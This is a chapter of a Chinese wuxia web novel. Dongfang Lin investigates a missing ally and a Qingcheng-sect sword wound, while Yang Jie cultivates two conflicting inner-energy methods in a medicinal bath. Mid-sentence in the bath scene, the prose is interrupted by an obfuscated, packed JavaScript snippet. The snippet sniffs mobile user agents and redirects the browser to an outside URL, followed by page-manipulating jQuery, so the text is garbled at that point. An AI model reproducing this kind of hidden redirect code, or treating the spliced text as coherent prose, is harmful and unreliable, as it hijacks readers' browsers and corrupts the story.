92. 第 92 章
作品:《和反派一起搞事业》 富顺县西街夜色深沉,街上大小盐商院子门前的灯笼照得道路通明。
两名更夫敲梆高唱着:“天干物燥,小心火烛——盐仓重地,闲人勿扰”,灯笼光照着墙上“严禁私贩”的官府告示,在西街青石板路上慢慢走过。
东方凛在盐商张老三家的客房里喝茶等消息。主人张老三有2口小盐井、1个小盐仓,年利润约200两白银,属“比上不足、比下有余”的中产盐商。
他对张老三有救命大恩,平日里只让这人搜集一些盐市消息,并没有让他参与教中事务。是以,除了熊叔,唐焰蓉和暗卫首领三人外,没人知道东方凛在富顺县还有这个据点。
今日张老三见他来了,便早早打发家人和长工回房歇息,自己殷勤伺-候着,心中七上八下似吊了个水桶。
他只知道救命恩人姓黎。这位黎公子仪表堂堂,气度非凡,一点不像混江湖的莽汉,静坐品茶的样子更似一个贵公子。
但黎公子的确是个武功高手。前年,他还在5个强盗手下救过自己的命。黎公子说他是江湖中人,叮嘱自己不要透露他的存在,以免引来祸端。因此,他这2年守口如瓶,连妻女也没告诉。
东方凛看出他的不安和紧张,对他挥手道:“老张,下去休息吧。”
“黎公子,没人伺-候您怎么行?”张三笑道,“小的留在这,给您端茶倒水。”
东方凛耳廓微不可察地动了动,唇边噙着一抹淡笑:“不用了,我的下属快到了。
张三闻言不再坚持,行礼后退下。作为一个精明的商人,他最知道进退。
很快,屋后竹林传来二声鸟叫。东方凛站起推开门。屋内油灯被风吹得晃了晃,两个一身夜行打扮的人快速闪进门内。
东方凛仔细观望了一下两人身后,没发现有跟踪的尾巴,关上门转身看着两人。
两人中稍矮的那人,拉下脸上面巾,露出一张芙蓉面,白皙的脖子边有一道显眼的新伤,上前跪拜请罪:“香主,焰蓉有负您所托,熊老可能被人抓走了。”
东方凛瞳孔微缩,厉声问:“谁抓的熊叔?你又被谁所伤?”
唐焰蓉不敢迟疑,快速而简洁地汇报情况。她当日奉命赴富顺县接应熊百川,危急时需撤离并报信,但抵达后发现熊已失踪。据可靠下属消息,熊失踪前曾赴堂主之宴,此后再未露面。
没有熊百川的确切消息,她没法回来复命,刚打探到近日青城派派了代表来跟堂主谈判水道的事,就暴露行踪被人追杀。
追杀她的人虽然掩饰了自己的武功,却露出了一点青城派剑法的尾巴。
她跪着刚说完,房间温度陡然下降。
油灯被风吹得晃了晃,灯芯爆出一朵灯花。
明明灭灭间,香主高大的影子投在墙上,像一柄骤然出鞘的剑。
香主走到她身前,细看她脖子左侧的伤口。随着他凑近,她感到一股寒气袭来,不敢动一下。
这伤口整体斜向上,起点在锁骨上方,终点接近耳垂下方,表面敷了一些金创药,却还在渗血。
他食指随伤口走向比划,指尖悬在伤口上方半寸,没碰她的皮肤,却让她感觉那道伤疤像被寒冰刺中。
“青城派的‘斜削式’。”他冷哼一声。
他俯身细看伤口,深约四分五厘,边缘平整无锯齿,说明发力“短促迅猛”,而非蛮力挥砍——这正是青城派“吐纳养生加寸劲发力”的内功特点。
他和青城派玉虚长老斗过,肩上还挨过这老儿一剑,能清晰回想起那种冰冷的刺痛感,最熟悉这种“寸劲剑法”的特点了。
此时看到这道伤口,他眼中闪过一道寒光,沉声道:“起来说话。”
他漆黑的眼珠在灯光下像两丸被墨浸-透的寒玉。那黑太纯粹了,仿佛能吞噬一切反光。
唐焰蓉发现自己的影子在他瞳孔里蜷缩成一团,听到自己的血滴在地板上的滴答一声,却动也不敢动。
她赶紧低头,心脏狂跳:刚才那一瞬间,她好像看见那片黑里有无数细针在转,再看一眼,眼睛怕是要被扎瞎。
知道香主已动了杀机,她浑身发寒,听令起身。
东方凛再看向暗卫首领,命令:“派人盯着堂主那边和青城派的据点,有消息立时回报。”
富顺县的黑夜,不知多少人辗转难眠。
杨洁倒是整晚无梦,睡了一个甜美好觉。
第二日,阴雨绵绵。这样的阴湿天气,她自然没法修练《烈火焚天诀》了,但练《药王守一诀》却不妨。
她手抓着药桶微烫的桶边,俯身深吸了一口气。一股浓郁的药味扑面袭来,有点像藿香正气水,这是属于记忆中夏天的熟悉气味。
她抬头笑道:“师傅,我闻到藿香的气息。”
廖师傅回道:“这药浴方子最初来自《千金要方》,经我师门结合心法历代改良而成。你的情况特殊,为师特意加了藿香和荷叶二味固心阳,抗‘心火反噬’后遗症。”
他边说边仔细观察药液成色,褐色稍带一些绿意,质量上乘;把食指伸入测了测水温,药液从指腹滑到手腕时,像裹了一层融化的蜜蜡——温润丝滑,不黏不滞。
“徒儿,快坐进去。昨日那内功心法,你可记牢了?”
“师傅,放心。我已牢记在心。”杨洁听话坐进药桶,感到一股温润感包裹全身,舒服得像泡温泉。
这跟修习《烈火焚天诀》泡的药液可不同。那药味道冲鼻,泡在里面像辣油里下锅的白菜,浑身又热又刺痛。但她当时一心修炼,只关注危机,没在意这点负面感觉。
自从开始修炼内功心法,她跟药浴就结缘分不开了。师傅手里药材齐全,还不乏珍惜好药,为她修炼创造了不少便利。
想必这一笔笔药浴开销不小,只能这些好都先记在心中了,以后再想法回报师傅了。
她抬眼见师傅摸着山羊胡,神色严肃得像在诊脉,可眼底那抹忧色,却像久历江湖的刀藏了丝钝,又像烛苗在风里晃,看得她胸中泛起一股酸甜的暖流,心口被一下泡软了。
两人对视,他那些担心在瞳仁里滚了三滚,最后只化作一句:“记住,‘缓则圆,速则不达’——守住心神,慢慢来方为稳妥。”
哎,师傅怕她修习两种心法相冲,走火入魔;可为了她行走江湖安全,又不得不让她修习两种心法,他心中定然矛盾得难受!
此时多说无益。
她对师傅郑重点了点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065049|188546||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,心平气和,排除杂念,双手移至腹部,一手在脐上,一手在脐下,两手劳宫穴相对,心存气海,慢慢运行起《药王守一诀》的心法。
起初,内气运行很顺利,如轻舟顺流突破重山,连过几处要穴。药王真气温润平和,比起当初烈火真气野马一样横冲直闯,控制起来像老马驾车一样容易。
但内气进入血海穴——两种心法交叠的第一个穴位时,她耳中似听到轰一声炸鸣,像除夕夜的爆竹在颅骨里炸开,震得耳蜗发麻,连药桶里的药液都泛起细密的波纹。
浑身气血跟着一震,她腿上青筋蹦跳。
一下、两下!
她太阳穴跟着蹦了两下,抽得神经发痛。
右腿血海穴如火山爆发,又热又胀痛,仿佛被马蜂扎了鼓起一个小孩拳头大的包。
心法相冲,恐怖如斯!
好在她早防着一手,精神力如细密无孔的渔网快速撒下。
两种内气顿如两条鱼儿被网入其中——红鲳鱼般的烈火真气撞得‘渔网’嗡嗡震颤;清道夫鱼似的药王真气却贴网游走,顺着精神力的丝线慢慢织补破口。
烈火真气性情凶猛,领地意识强,调转“枪头”猛扑药王真气。而药王真气中正平和,只顾修复经脉,被烈火真气压着打。
按理说,两者不是一个量级的对手。但药王真气生机勃勃,韧性十足,还有杨洁精神力支援,两者居然产生了动态平衡。
烈火真气灭不了药王真气,不断灼烧、渗透药王真气。原本相对稀薄的药王真气渐渐变得稠密,质地越来越像烈火真气。
在某一个临界点后,烈火真气倏然退去,或它自认为已经同化、收服了对方,昂然如将军凯旋而去。
杨洁立刻把握时机,重新引导药王真气。新的药王真气染上了烈火真气的性质,温度升高了,冲击速度变快了。
她低头看见药桶里浮起一层细密血珠,腹部气海像刚煮沸的药锅咕嘟冒泡,胀痛刺痛各种痛随之煮出来。
破釜沉舟,唯有进!
她指尖发颤,死死咬住下-唇没哼一声,加大精神控制力,运转真气向下一个穴位冲去。
而在廖师傅看来,当药桶的药液咕咕冒气泡时,徒弟一侧血海穴立刻肿了起来。
是内气冲突!
他眼睛微眯捏着三根银针,随时准备支援徒弟。但鉴于以往的经验,他选择稍等一下。
若徒弟能自行解决,更好。
盯着徒弟肿起的穴位,他本来稳如磐石的手指微颤,带动银针也跟着闪光。
深吸一口气,指腹的薄茧在针柄上磨出细微的沙沙声,银针被捏出了指印,他喉结悄悄滚动。
这时,奇迹再次在他眼中上演——肿起的地方以肉眼可见的速度塌下去。同时,药桶中冒出大量白气,药液颜色很快变浅,质地变得稀薄。
他忍住大笑的冲动,一下收回银针,举起后备药桶,把新药液小心快速注入药桶中。
连倒了三桶,储备药液全倒完了,徒弟身下的药液吸收蒸发得快,把整个房间都弄得白雾弥漫,他最后只能倒温水进去降温。
看着一个个空药桶,他开心又犯愁:徒弟修炼太快,药材有些不够用了。

